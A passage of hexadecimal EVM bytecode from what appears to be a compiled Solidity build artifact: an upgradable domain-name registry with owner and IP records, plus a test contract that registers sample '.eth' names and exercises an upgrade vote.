507f4e6f7420746865206f776e657220696e20757067726164656420636f6e74726160008301527f63742e00000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000611ccc601583612118565b91507f446f6d61696e20616c72656164792074616b656e2e00000000000000000000006000830152602082019050919050565b6000611d0c600e83612118565b91507f4e6f7420746865206f776e65722e0000000000000000000000000000000000006000830152602082019050919050565b6000611d4c601883612118565b91507f5570677261646520616c72656164792072756e6e696e672e00000000000000006000830152602082019050919050565b611d88816121b0565b82525050565b6000611d9a8284611a42565b915081905092915050565b6000602082019050611dba60008301846119be565b92915050565b6000602082019050611dd560008301846119af565b92915050565b6000602082019050611df060008301846119cd565b92915050565b6000604082019050611e0b60008301856119cd565b611e1860208301846119eb565b9392505050565b6000604082019050611e3460008301856119dc565b611e4160208301846119be565b9392505050565b6000602082019050611e5d60008301846119fa565b92915050565b60006020820190508181036000830152611e7d8184611a09565b905092915050565b60006040820190508181036000830152611e9f8185611a09565b9050611eae60208301846119be565b9392505050565b60006040820190508181036000830152611ecf8185611a09565b9050611ede60208301846119dc565b9392505050565b60006060820190508181036000830152611eff8186611a09565b9050611f0e60208301856119dc565b611f1b60408301846119be565b949350505050565b60006020820190508181036000830152611f3c81611a73565b9050919050565b60006020820190508181036000830152611f5c81611ab3565b9050919050565b60006020820190508181036000830152611f7c81611af3565b9050919050565b60006020820190508181036000830152611f9c81611b33565b9050919050565b60006020820190508181036000830152611fbc81611b73565b9050919050565b60006020820190508181036000830152611fdc81611bb3565b9050919050565b60006020820190508181036000830152611ffc81611bf3565b9050919050565b6000602082019050818103600083015261201c81611c59565b9050919050565b6000602082019050818103600083015261203c81611cbf565b9050919050565b6000602082019050818103600083015261205c81611cff565b9050919050565b6000602082019050818103600083015261207c81611d3f565b9050919050565b60006040820190506120986000830185611d7f565b6120a560208301846119eb565b9392505050565b6000604051905081810181811067ffffffffffffffff821117156120d3576120d261227a565b5b8060405250919050565b600067ffffffffffffffff8211156120f8576120f761227a565b5b601f19601f8301169050602081019050919050565b600081519050919050565b600082825260208201905092915050565b600081905092915050565b600061213f82612190565b9050919050565b60008115159050919050565b60007fffffffff0000000000000000000000000000000000000000000000000000000082169050919050565b600061218982612134565b9050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b60006121c582612214565b9050919050565b60006121d7826121de565b9050919050565b60006121e982612190565b9050919050565b60006121fb82612202565b9050919050565b600061220d82612190565b9050919050565b600061221f82612226565b9050919050565b600061223182612190565b9050919050565b82818337600083830152505050565b60005b8381101561226557808201518184015260208101905061224a565b83811115612274576000848401525b50505050565bfe5b6000601f19601f8301169050919050565b61229681612134565b81146122a157600080fd5b50565b6122ad81612146565b81146122b857600080fd5b50565b6122c481612152565b81146122cf57600080fd5b50565b6122db8161217e565b81146122e657600080fd5b50565b600281106122f657600080fd5b50565b612302816121b0565b811461230d57600080fd5b5056fea264697066735822122005eb7b9ce5d8e8cd0318058e002f115427649b6a5a095655edf311ff4ccee79a64736f6c6343000704003360c06040523480156200001157600080fd5b5060405162001158380380620011588339818101604052810190620000379190620000db565b8173ffffffffffffffffffffffffffffffffffffffff1660808173ffffffffffffffffffffffffffffffffffffffff1660601b815250508073ffffffffffffffffffffffffffffffffffffffff1660a08173ffffffffffffffffffffffffffffffffffffffff1660601b815250505050620001ac565b600081519050620000be8162000178565b92915050565b600081519050620000d58162000192565b92915050565b60008060408385031215620000ef57600080fd5b6000620000ff85828601620000ad565b92505060206200011285828601620000c4565b9150509250929050565b6000620001298262000158565b9050919050565b60006200013d826200011c565b9050919050565b600062000151826200011c565b9050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b620001838162000130565b81146200018f57600080fd5b50565b6200019d8162000144565b8114620001a957600080fd5b50565b60805160601c60a05160601c610f78620001e06000398061012a52806107d55250806103d152806107785250610f786000f3fe608060405234801561001057600080fd5b50600436106100625760003560e01c80630528b34514610067578063461a44781461008557806389404978146100b65780639735009b146100d2578063f7a46696146100f0578063fbf58b3e1461010c575b600080fd5b61006f610128565b60405161007c9190610cc4565b60405180910390f35b61009f600480360381019061009a9190610943565b61014c565b6040516100ad929190610c57565b60405180910390f35b6100d060048036038101906100cb9190610a2c565b6101c9565b005b6100da6103cf565b6040516100e79190610c80565b60405180910390f35b61010a600480360381019061010591906109d8565b6103f3565b005b61012660048036038101906101219190610984565b61059d565b005b7f000000000000000000000000000000000000000000000000000000000000000081565b60008060008360405161015f9190610c40565b908152602001604051809103902060000160009054906101000a900460e01b60008460405161018e9190610c40565b908152602001604051809103902060000160049054906101000a900473ffffffffffffffffffffffffffffffffffffffff1691509150915091565b600060e01b827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916141561022f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161022690610d1f565b60405180910390fd5b6000835111610273576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161026a90610cdf565b60405180910390fd5b600080846040516102849190610c40565b90815260200160405180910390209050600060e01b8160000160009054906101000a900460e01b7bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19161480156103275750600073ffffffffffffffffffffffffffffffffffffffff168160000160049054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b610366576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161035d90610d3f565b60405180910390fd5b828160000160006101000a81548163ffffffff021916908360e01c0217905550818160000160046101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050505050565b7f000000000000000000000000000000000000000000000000000000000000000081565b600080836040516104049190610c40565b908152602001604051809103902090503273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614801561049e57503373ffffffffffffffffffffffffffffffffffffffff168160000160049054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b806104d357506104d2338260000160049054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610774565b5b610512576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161050990610d5f565b60405180910390fd5b600060e01b827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19161415610578576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161056f90610d1f565b60405180910390fd5b818160000160006101000a81548163ffffffff021916908360e01c0217905550505050565b600080836040516105ae9190610c40565b908152602001604051809103902090503273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614801561064857503373ffffffffffffffffffffffffffffffffffffffff168160000160049054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b8061067d575061067c338260000160049054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610774565b5b6106bc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106b390610d5f565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561072c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161072390610cff565b60405180910390fd5b818160000160046101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550505050565b60007f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156107d35760019050610881565b7f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff16635efd538484846040518363ffffffff1660e01b815260040161082e929190610c9b565b60206040518083038186803b15801561084657600080fd5b505afa15801561085a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061087e919061091a565b90505b92915050565b60008135905061089681610efd565b92915050565b6000815190506108ab81610f14565b92915050565b6000813590506108c081610f2b565b92915050565b600082601f8301126108d757600080fd5b81356108ea6108e582610db0565b610d7f565b9150808252602083016020830185838301111561090657600080fd5b610911838284610eb9565b50505092915050565b60006020828403121561092c57600080fd5b600061093a8482850161089c565b91505092915050565b60006020828403121561095557600080fd5b600082013567ffffffffffffffff81111561096f57600080fd5b61097b848285016108c6565b91505092915050565b6000806040838503121561099757600080fd5b600083013567ffffffffffffffff8111156109b157600080fd5b6109bd858286016108c6565b92505060206109ce85828601610887565b9150509250929050565b600080604083850312156109eb57600080fd5b600083013567ffffffffffffffff811115610a0557600080fd5b610a11858286016108c6565b9250506020610a22858286016108b1565b9150509250929050565b600080600060608486031215610a4157600080fd5b600084013567ffffffffffffffff811115610a5b57600080fd5b610a67868287016108c6565b9350506020610a78868287016108b1565b9250506040610a8986828701610887565b9150509250925092565b610a9c81610e07565b82525050565b610aab81610e25565b82525050565b610aba81610e71565b82525050565b610ac981610e95565b82525050565b6000610ada82610de0565b610ae48185610dfc565b9350610af4818560208601610ec8565b80840191505092915050565b6000610b0d600f83610deb565b91507f496e76616c696420646f6d61696e2e00000000000000000000000000000000006000830152602082019050919050565b6000610b4d600e83610deb565b91507f496e76616c6964206f776e65722e0000000000000000000000000000000000006000830152602082019050919050565b6000610b8d600b83610deb565b91507f496e76616c69642069702e0000000000000000000000000000000000000000006000830152602082019050919050565b6000610bcd601583610deb565b91507f446f6d61696e20616c72656164792074616b656e2e00000000000000000000006000830152602082019050919050565b6000610c0d600e83610deb565b91507f4e6f7420746865206f776e65722e0000000000000000000000000000000000006000830152602082019050919050565b6000610c4c8284610acf565b915081905092915050565b6000604082019050610c6c6000830185610aa2565b610c796020830184610a93565b9392505050565b6000602082019050610c956000830184610ab1565b92915050565b6000604082019050610cb06000830185610ab1565b610cbd6020830184610a93565b9392505050565b6000602082019050610cd96000830184610ac0565b92915050565b60006020820190508181036000830152610cf881610b00565b9050919050565b60006020820190508181036000830152610d1881610b40565b9050919050565b60006020820190508181036000830152610d3881610b80565b9050919050565b60006020820190508181036000830152610d5881610bc0565b9050919050565b60006020820190508181036000830152610d7881610c00565b9050919050565b6000604051905081810181811067ffffffffffffffff82111715610da657610da5610efb565b5b8060405250919050565b600067ffffffffffffffff821115610dcb57610dca610efb565b5b601f19601f8301169050602081019050919050565b600081519050919050565b600082825260208201905092915050565b600081905092915050565b6000610e1282610e51565b9050919050565b60008115159050919050565b60007fffffffff0000000000000000000000000000000000000000000000000000000082169050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000610e7c82610e83565b9050919050565b6000610e8e82610e51565b9050919050565b6000610ea082610ea7565b9050919050565b6000610eb282610e51565b9050919050565b82818337600083830152505050565b60005b83811015610ee6578082015181840152602081019050610ecb565b83811115610ef5576000848401525b50505050565bfe5b610f0681610e07565b8114610f1157600080fd5b50565b610f1d81610e19565b8114610f2857600080fd5b50565b610f3481610e25565b8114610f3f57600080fd5b5056fea2646970667358221220eae0b7acf5616ffe9f18fa67a8e9d5245f621f3a5ce549e7c2ff61c9cfcd5f6d64736f6c6343000704003360e06040523480156200001157600080fd5b506040516200113438038062001134833981810160405281019062000037919062000148565b82600160006101000a81548163ffffffff021916908360e01c02179055508173ffffffffffffffffffffffffffffffffffffffff1660808173ffffffffffffffffffffffffffffffffffffffff1660601b815250508073ffffffffffffffffffffffffffffffffffffffff1660a08173ffffffffffffffffffffffffffffffffffffffff1660601b815250503373ffffffffffffffffffffffffffffffffffffffff1660c08173ffffffffffffffffffffffffffffffffffffffff1660601b8152505050505062000274565b600081519050620001148162000226565b92915050565b6000815190506200012b8162000240565b92915050565b60008151905062000142816200025a565b92915050565b6000806000606084860312156200015e57600080fd5b60006200016e8682870162000103565b935050602062000181868287016200011a565b9250506040620001948682870162000131565b9150509250925092565b6000620001ab8262000206565b9050919050565b60007fffffffff0000000000000000000000000000000000000000000000000000000082169050919050565b6000620001eb826200019e565b9050919050565b6000620001ff826200019e565b9050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6200023181620001b2565b81146200023d57600080fd5b50565b6200024b81620001de565b81146200025757600080fd5b50565b6200026581620001f2565b81146200027157600080fd5b50565b60805160601c60a05160601c60c05160601c610e8a620002aa6000398061042c5250806101615250806104085250610e8a6000f3fe608060405234801561001057600080fd5b506004361061007d5760003560e01c80639735009b1161005b5780639735009b146100ed578063d554b2f61461010b578063f7a4669614610127578063fbf58b3e146101435761007d565b80630528b34514610082578063461a4478146100a057806389404978146100d1575b600080fd5b61008a61015f565b6040516100979190610bf9565b60405180910390f35b6100ba60048036038101906100b591906108a1565b610183565b6040516100c8929190610bb5565b60405180910390f35b6100eb60048036038101906100e6919061098a565b610200565b005b6100f5610406565b6040516101029190610bde565b60405180910390f35b6101256004803603810190610120919061098a565b61042a565b005b610141600480360381019061013c9190610936565b61050c565b005b61015d600480360381019061015891906108e2565b610681565b005b7f000000000000000000000000000000000000000000000000000000000000000081565b6000806000836040516101969190610b9e565b908152602001604051809103902060000160009054906101000a900460e01b6000846040516101c59190610b9e565b908152602001604051809103902060000160049054906101000a900473ffffffffffffffffffffffffffffffffffffffff1691509150915091565b600060e01b827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19161415610266576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161025d90610c54565b60405180910390fd5b60008351116102aa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016102a190610c14565b60405180910390fd5b600080846040516102bb9190610b9e565b90815260200160405180910390209050600060e01b8160000160009054906101000a900460e01b7bffffffffffffffffffffffffffffffffffffffffffffffffffffffff191614801561035e5750600073ffffffffffffffffffffffffffffffffffffffff168160000160049054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b61039d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161039490610c74565b60405180910390fd5b828160000160006101000a81548163ffffffff021916908360e01c0217905550818160000160046101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050505050565b7f000000000000000000000000000000000000000000000000000000000000000081565b7f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461048257600080fd5b600080846040516104939190610b9e565b90815260200160405180910390209050828160000160006101000a81548163ffffffff021916908360e01c0217905550818160000160046101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050505050565b6000808360405161051d9190610b9e565b908152602001604051809103902090503273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161480156105b757503373ffffffffffffffffffffffffffffffffffffffff168160000160049054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b6105f6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105ed90610c94565b60405180910390fd5b600060e01b827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916141561065c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161065390610c54565b60405180910390fd5b818160000160006101000a81548163ffffffff021916908360e01c0217905550505050565b600080836040516106929190610b9e565b908152602001604051809103902090503273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614801561072c57503373ffffffffffffffffffffffffffffffffffffffff168160000160049054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b61076b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161076290610c94565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156107db576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107d290610c34565b60405180910390fd5b818160000160046101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550505050565b60008135905061083281610e26565b92915050565b60008135905061084781610e3d565b92915050565b600082601f83011261085e57600080fd5b813561087161086c82610ce5565b610cb4565b9150808252602083016020830185838301111561088d57600080fd5b610898838284610de2565b50505092915050565b6000602082840312156108b357600080fd5b600082013567ffffffffffffffff8111156108cd57600080fd5b6108d98482850161084d565b91505092915050565b600080604083850312156108f557600080fd5b600083013567ffffffffffffffff81111561090f57600080fd5b61091b8582860161084d565b925050602061092c85828601610823565b9150509250929050565b6000806040838503121561094957600080fd5b600083013567ffffffffffffffff81111561096357600080fd5b61096f8582860161084d565b925050602061098085828601610838565b9150509250929050565b60008060006060848603121561099f57600080fd5b600084013567ffffffffffffffff8111156109b957600080fd5b6109c58682870161084d565b93505060206109d686828701610838565b92505060406109e786828701610823565b9150509250925092565b6109fa81610d3c565b82525050565b610a0981610d4e565b82525050565b610a1881610d9a565b82525050565b610a2781610dbe565b82525050565b6000610a3882610d15565b610a428185610d31565b9350610a52818560208601610df1565b80840191505092915050565b6000610a6b600f83610d20565b91507f496e76616c696420646f6d61696e2e00000000000000000000000000000000006000830152602082019050919050565b6000610aab600e83610d20565b91507f496e76616c6964206f776e65722e0000000000000000000000000000000000006000830152602082019050919050565b6000610aeb600b83610d20565b91507f496e76616c69642069702e0000000000000000000000000000000000000000006000830152602082019050919050565b6000610b2b601583610d20565b91507f446f6d61696e20616c72656164792074616b656e2e00000000000000000000006000830152602082019050919050565b6000610b6b600e83610d20565b91507f4e6f7420746865206f776e65722e0000000000000000000000000000000000006000830152602082019050919050565b6000610baa8284610a2d565b915081905092915050565b6000604082019050610bca6000830185610a00565b610bd760208301846109f1565b9392505050565b6000602082019050610bf36000830184610a0f565b92915050565b6000602082019050610c0e6000830184610a1e565b92915050565b60006020820190508181036000830152610c2d81610a5e565b9050919050565b60006020820190508181036000830152610c4d81610a9e565b9050919050565b60006020820190508181036000830152610c6d81610ade565b9050919050565b60006020820190508181036000830152610c8d81610b1e565b9050919050565b60006020820190508181036000830152610cad81610b5e565b9050919050565b6000604051905081810181811067ffffffffffffffff82111715610cdb57610cda610e24565b5b8060405250919050565b600067ffffffffffffffff821115610d0057610cff610e24565b5b601f19601f8301169050602081019050919050565b600081519050919050565b600082825260208201905092915050565b600081905092915050565b6000610d4782610d7a565b9050919050565b60007fffffffff0000000000000000000000000000000000000000000000000000000082169050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000610da582610dac565b9050919050565b6000610db782610d7a565b9050919050565b6000610dc982610dd0565b9050919050565b6000610ddb82610d7a565b9050919050565b82818337600083830152505050565b60005b83811015610e0f578082015181840152602081019050610df4565b83811115610e1e576000848401525b50505050565bfe5b610e2f81610d3c565b8114610e3a57600080fd5b50565b610e4681610d4e565b8114610e5157600080fd5b5056fea2646970667358221220b23f98d283160e20da122f7f02a954df3b2637f635f4b30e955c8a118233fa3764736f6c6343000704003360c06040523480156200001157600080fd5b5060405162000cc138038062000cc18339818101604052810190620000379190620000db565b8173ffffffffffffffffffffffffffffffffffffffff1660808173ffffffffffffffffffffffffffffffffffffffff1660601b815250508073ffffffffffffffffffffffffffffffffffffffff1660a08173ffffffffffffffffffffffffffffffffffffffff1660601b815250505050620001ac565b600081519050620000be8162000178565b92915050565b600081519050620000d58162000192565b92915050565b60008060408385031215620000ef57600080fd5b6000620000ff85828601620000ad565b92505060206200011285828601620000c4565b9150509250929050565b6000620001298262000158565b9050919050565b60006200013d826200011c565b9050919050565b600062000151826200011c565b9050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b620001838162000130565b81146200018f57600080fd5b50565b6200019d8162000144565b8114620001a957600080fd5b50565b60805160601c60a05160601c610ad7620001ea600039806101ed528061038052508061013c52806102ed528061040e528061049f5250610ad76000f3fe608060405234801561001057600080fd5b506004361061007d5760003560e01c80639be1238f1161005b5780639be1238f146100d9578063d4eec5a6146100f5578063f7a46696146100ff578063fbf58b3e1461011b5761007d565b8063461a4478146100825780635b48684e146100b357806363c95186146100bd575b600080fd5b61009c60048036038101906100979190610627565b610137565b6040516100aa9291906107dd565b60405180910390f35b6100bb6101eb565b005b6100d760048036038101906100d29190610710565b610279565b005b6100f360048036038101906100ee91906106bc565b6102eb565b005b6100fd61037e565b005b610119600480360381019061011491906106bc565b61040c565b005b61013560048036038101906101309190610668565b61049d565b005b6000807f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff1663461a4478846040518263ffffffff1660e01b81526004016101939190610821565b604080518083038186803b1580156101aa57600080fd5b505afa1580156101be573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906101e291906105eb565b91509150915091565b7f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff1663b1d6d39d60016040518263ffffffff1660e01b81526004016102459190610806565b600060405180830381600087803b15801561025f57600080fd5b505af1158015610273573d6000803e3d6000fd5b50505050565b8073ffffffffffffffffffffffffffffffffffffffff1663f7a4669684846040518363ffffffff1660e01b81526004016102b4929190610873565b600060405180830381600087803b1580156102ce57600080fd5b505af11580156102e2573d6000803e3d6000fd5b50505050505050565b7f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff1663894049788383306040518463ffffffff1660e01b8152600401610348939291906108a3565b600060405180830381600087803b15801561036257600080fd5b505af1158015610376573d6000803e3d6000fd5b505050505050565b7f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff1663b1d6d39d60006040518263ffffffff1660e01b81526004016103d89190610806565b600060405180830381600087803b1580156103f257600080fd5b505af1158015610406573d6000803e3d6000fd5b50505050565b7f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff1663f7a4669683836040518363ffffffff1660e01b8152600401610467929190610873565b600060405180830381600087803b15801561048157600080fd5b505af1158015610495573d6000803e3d6000fd5b505050505050565b7f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff1663fbf58b3e83836040518363ffffffff1660e01b81526004016104f8929190610843565b600060405180830381600087803b15801561051257600080fd5b505af1158015610526573d6000803e3d6000fd5b505050505050565b60008135905061053d81610a5c565b92915050565b60008151905061055281610a5c565b92915050565b60008135905061056781610a73565b92915050565b60008151905061057c81610a73565b92915050565b60008135905061059181610a8a565b92915050565b600082601f8301126105a857600080fd5b81356105bb6105b682610912565b6108e1565b915080825260208301602083018583830111156105d757600080fd5b6105e28382846109f3565b50505092915050565b600080604083850312156105fe57600080fd5b600061060c8582860161056d565b925050602061061d85828601610543565b9150509250929050565b60006020828403121561063957600080fd5b600082013567ffffffffffffffff81111561065357600080fd5b61065f84828501610597565b91505092915050565b6000806040838503121561067b57600080fd5b600083013567ffffffffffffffff81111561069557600080fd5b6106a185828601610597565b92505060206106b28582860161052e565b9150509250929050565b600080604083850312156106cf57600080fd5b600083013567ffffffffffffffff8111156106e957600080fd5b6106f585828601610597565b925050602061070685828601610558565b9150509250929050565b60008060006060848603121561072557600080fd5b600084013567ffffffffffffffff81111561073f57600080fd5b61074b86828701610597565b935050602061075c86828701610558565b925050604061076d86828701610582565b9150509250925092565b6107808161095e565b82525050565b61078f81610970565b82525050565b61079e816109e1565b82525050565b60006107af82610942565b6107b9818561094d565b93506107c9818560208601610a02565b6107d281610a37565b840191505092915050565b60006040820190506107f26000830185610786565b6107ff6020830184610777565b9392505050565b600060208201905061081b6000830184610795565b92915050565b6000602082019050818103600083015261083b81846107a4565b905092915050565b6000604082019050818103600083015261085d81856107a4565b905061086c6020830184610777565b9392505050565b6000604082019050818103600083015261088d81856107a4565b905061089c6020830184610786565b9392505050565b600060608201905081810360008301526108bd81866107a4565b90506108cc6020830185610786565b6108d96040830184610777565b949350505050565b6000604051905081810181811067ffffffffffffffff8211171561090857610907610a35565b5b8060405250919050565b600067ffffffffffffffff82111561092d5761092c610a35565b5b601f19601f8301169050602081019050919050565b600081519050919050565b600082825260208201905092915050565b6000610969826109c1565b9050919050565b60007fffffffff0000000000000000000000000000000000000000000000000000000082169050919050565b60006109a78261095e565b9050919050565b60008190506109bc82610a48565b919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006109ec826109ae565b9050919050565b82818337600083830152505050565b60005b83811015610a20578082015181840152602081019050610a05565b83811115610a2f576000848401525b50505050565bfe5b6000601f19601f8301169050919050565b60028110610a5957610a58610a35565b5b50565b610a658161095e565b8114610a7057600080fd5b50565b610a7c81610970565b8114610a8757600080fd5b50565b610a938161099c565b8114610a9e57600080fd5b5056fea264697066735822122004a334eb3716dfafcf036f3ecf492375e65e1813188daf1697f185fb67b35bde64736f6c63430007040033a264697066735822122075386a84bd3fa86e0b05b9b51ff3cbbd19f7364afa4ae3d315940750696b2ce964736f6c63430007040033","bin-runtime":"60806040523480156200001157600080fd5b50600436106200005e5760003560e01c80630a9254e41462000063578063180428c0146200006f578063538d1c33146200007b578063ba414fa61462000087578063fa7626d414620000a9575b600080fd5b6200006d620000cb565b005b62000079620000d7565b005b6200008562000f11565b005b6200009162002f86565b604051620000a0919062003a3b565b60405180910390f35b620000b362002f99565b604051620000c2919062003a3b565b60405180910390f35b620000d562002faa565b565b60606040518060400160405280600581526020017f612e65746800000000000000000000000000000000000000000000000000000081525090506000630102030460e01b905060606040518060400160405280600581526020017f622e65746800000000000000000000000000000000000000000000000000000081525090506000630506070860e01b905060008060066000600481106200017557fe5b0160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16639be1238f87876040518363ffffffff1660e01b8152600401620001d392919062003b5a565b600060405180830381600087803b158015620001ee57600080fd5b505af115801562000203573d6000803e3d6000fd5b50505050600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663461a4478876040518263ffffffff1660e01b815260040162000264919062003b36565b604080518083038186803b1580156200027c57600080fd5b505afa15801562000291573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002b791906200389d565b809250819350505062000309827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916867bffffffffffffffffffffffffffffffffffffffffffffffffffffffff191662003448565b620003458160066000600481106200031d57fe5b0160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1662003574565b60066001600481106200035457fe5b0160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16639be1238f85856040518363ffffffff1660e01b8152600401620003b292919062003b5a565b600060405180830381600087803b158015620003cd57600080fd5b505af1158015620003e2573d6000803e3d6000fd5b50505050600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663461a4478856040518263ffffffff1660e01b815260040162000443919062003b36565b604080518083038186803b1580156200045b57600080fd5b505afa15801562000470573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200049691906200389d565b8092508193505050620004e8827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916847bffffffffffffffffffffffffffffffffffffffffffffffffffffffff191662003448565b62000524816006600160048110620004fc57fe5b0160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1662003574565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166327557157603c4201600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166040518363ffffffff1660e01b8152600401620005a892919062003c4a565b600060405180830381600087803b158015620005c357600080fd5b505af1158015620005d8573d6000803e3d6000fd5b505050506200068a600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663d2ac7a5f6040518163ffffffff1660e01b815260040160206040518083038186803b1580156200064957600080fd5b505afa1580156200065e573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000684919062003830565b620036f8565b60066000600481106200069957fe5b0160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16635b48684e6040518163ffffffff1660e01b8152600401600060405180830381600087803b1580156200070357600080fd5b505af115801562000718573d6000803e3d6000fd5b5050505060066002600481106200072b57fe5b0160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16635b48684e6040518163ffffffff1660e01b8152600401600060405180830381600087803b1580156200079557600080fd5b505af1158015620007aa573d6000803e3d6000fd5b50505050600060029054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663e5d6bf02600a6040518263ffffffff1660e01b81526004016200080c919062003abf565b600060405180830381600087803b1580156200082757600080fd5b505af11580156200083c573d6000803e3d6000fd5b5050505060066002600481106200084f57fe5b0160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663d4eec5a66040518163ffffffff1660e01b8152600401600060405180830381600087803b158015620008b957600080fd5b505af1158015620008ce573d6000803e3d6000fd5b505050506006600360048110620008e157fe5b0160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16635b48684e6040518163ffffffff1660e01b8152600401600060405180830381600087803b1580156200094b57600080fd5b505af115801562000960573d6000803e3d6000fd5b50505050600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166355f291666040518163ffffffff1660e01b8152600401600060405180830381600087803b158015620009cf57600080fd5b505af1158015620009e4573d6000803e3d6000fd5b5050505062000a97600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663d2ac7a5f6040518163ffffffff1660e01b815260040160206040518083038186803b15801562000a5557600080fd5b505afa15801562000a6a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000a90919062003830565b15620036f8565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16632755715760014201600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166040518363ffffffff1660e01b815260040162000b1b92919062003c4a565b600060405180830381600087803b15801562000b3657600080fd5b505af115801562000b4b573d6000803e3d6000fd5b5050505062000bfd600560009054906101000a900473ffffffffffffffffffffffffffffff